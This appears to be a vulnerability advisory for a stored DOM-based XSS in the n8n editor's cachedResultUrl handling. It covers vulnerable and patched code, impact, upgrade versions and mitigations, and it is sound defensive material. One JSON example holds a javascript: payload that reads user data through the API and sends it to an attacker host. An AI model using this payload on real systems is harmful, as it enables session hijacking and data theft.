CVE-2026-65592: Stored DOM-based Cross-Site Scripting via cachedResultUrl in n8n

The n8n workflow automation platform exposes an interactive frontend editor interface where users design, configure, and monitor automated integrations. Within this interface, nodes use a Resource Locator component to dynamically retrieve and configure metadata, such as database schemas or API resource identifiers from external services. To optimize subsequent load times, n8n saves specific configuration attributes, including cachedResultUrl, directly into the workflow metadata schema.\n\nAn authenticated user with workflow creation or modification rights can manipulate this structured metadata. By inputting a malicious URI containing active scripting elements into the cachedResultUrl field, the attacker creates a persistent malicious node. This field is subsequently saved in the backend database and loaded whenever other authorized users open the workspace.\n\nThis flaw represents a Stored DOM-based Cross-Site Scripting (XSS) vulnerability, classified as CWE-79. The vulnerable vector resides within the frontend rendering process, meaning that arbitrary script execution occurs entirely on the client side inside the DOM of the active user session.

The underlying vulnerability is located within the n8n frontend application logic responsible for processing interactions within the Resource Locator component. Specifically, when a user clicks on links or button elements designed to inspect the cached resource, the application retrieves the stored cachedResultUrl parameter.\n\nThe application passes this value directly to the browser standard API call window.open(cachedResultUrl, '_blank'). This operation triggers a new browser window or tab pointing to the location specified by the parameter. No validation, sanitization, or filtering is conducted on the URL scheme prior to passing it to the function.\n\nWhen a browser receives a javascript: scheme within window.open(), it interprets the subsequent string as executable code rather than a web resource location. The browser then executes the script in the security context of the parent frame, which is the origin hosting the n8n application. This allows attackers to bypass normal origin restrictions and access the DOM, session data, and authenticated APIs.

Analysis of the vulnerable flow highlights the transition from an unchecked input parameter to execution. The primary issue is the absence of protocol parsing.\n\ntypescript\n// Vulnerable Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n // Vulnerability: The value is passed directly to window.open without verification\n window.open(cachedResultUrl, '_blank');\n}\n\n\nThe remediated implementation enforces structured validation. By instantiating a URL object and validating the parsed protocol, n8n mitigates the risk of protocol-handler abuse.\n\ntypescript\n// Patched Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n try {\n const parsedUrl = new URL(cachedResultUrl);\n // Remediation: Validate that the protocol matches safe web schemes\n if (parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:') {\n window.open(parsedUrl.toString(), '_blank');\n } else {\n console.warn('Rejected unsafe URL protocol:', parsedUrl.protocol);\n }\n } catch (error) {\n // Gracefully handle malformed or relative URLs depending on context\n console.error('Invalid URL schema detected:', error);\n }\n}\n\n\nThis fix is highly effective. It prevents the interpretation of javascript: or data: URIs by strictly matching allowed protocols, closing the DOM injection path.

Exploitation requires the attacker to hold basic permissions that allow workflow creation or modification within n8n. The attacker starts by constructing a node parameter containing the payload.\n\nmermaid\ngraph LR\n A["Attacker (Privilege PR:L)"] -->|Injects javascript: URI| B["n8n Workflow Database"]\n B -->|Renders Workflow JSON| C["Victim Browser Session"]\n C -->|Clicks Resource Link| D["window.open() Call"]\n D -->|Executes JavaScript| E["Session Hijacking / API Exploitation"]\n\n\nThe JSON workflow configuration structure encapsulates the payload within the cachedResultUrl property. An attacker defines this property to run client-side JavaScript.\n\njson\n{\n "parameters": {\n "resourceLocator": {\n "cachedResultUrl": "javascript:fetch('/api/v1/users').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))"\n }\n }\n}\n\n\nOnce saved, the workflow is stored persistently in the database. When a victim with higher administrative privileges opens the workflow canvas and triggers the Resource Locator action, the script runs automatically under the victim's active session context.

The impact of a successful exploit is significant due to the administrative capabilities available within the n8n application interface. The executed script has access to session storage, browser cookies (if not marked HttpOnly), and local storage objects.\n\nThe attacker can issue authenticated API calls to the n8n backend on behalf of the victim. This enables actions such as adding new administrator accounts, modifying existing active workflows, exfiltrating credential stores, or retrieving API keys.\n\nThe CVSS v4.0 base score is rated at 8.4 (High), reflecting high confidentiality and integrity impacts on the user session. The attack relies on interaction from an authorized user opening the affected workflow interface.

The primary recommendation is upgrading n8n to a safe release. Upgrading to versions 1.123.64, 2.29.8, or 2.30.1 mitigates this risk by ensuring all Resource Locator parameters undergo scheme checking before execution.\n\nIn environments where upgrading is delayed, administrators must limit workflow creation and editing privileges. Only trusted system operators should have access to import or edit workflow schemas.\n\nAdministrators can also run database queries on the workflow table to inspect workflow JSON structures for the presence of the javascript: prefix inside nested node parameters.